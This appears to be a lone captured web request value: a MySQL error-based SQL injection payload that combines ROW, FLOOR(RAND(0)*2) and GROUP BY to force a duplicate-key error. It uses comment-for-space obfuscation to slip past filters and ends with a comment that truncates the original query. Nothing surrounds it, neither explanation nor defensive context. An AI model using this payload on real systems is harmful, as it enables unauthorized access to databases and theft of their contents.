1’AND/**/ROW(7840,8634)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(7840=7840,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/8751/**/UNION/**/SELECT/**/10749/**/UNION/**/SELECT/**/2506/**/UNION/**/SELECT/**/4623)a/**/GROUP/**/BY/**/x)– – 1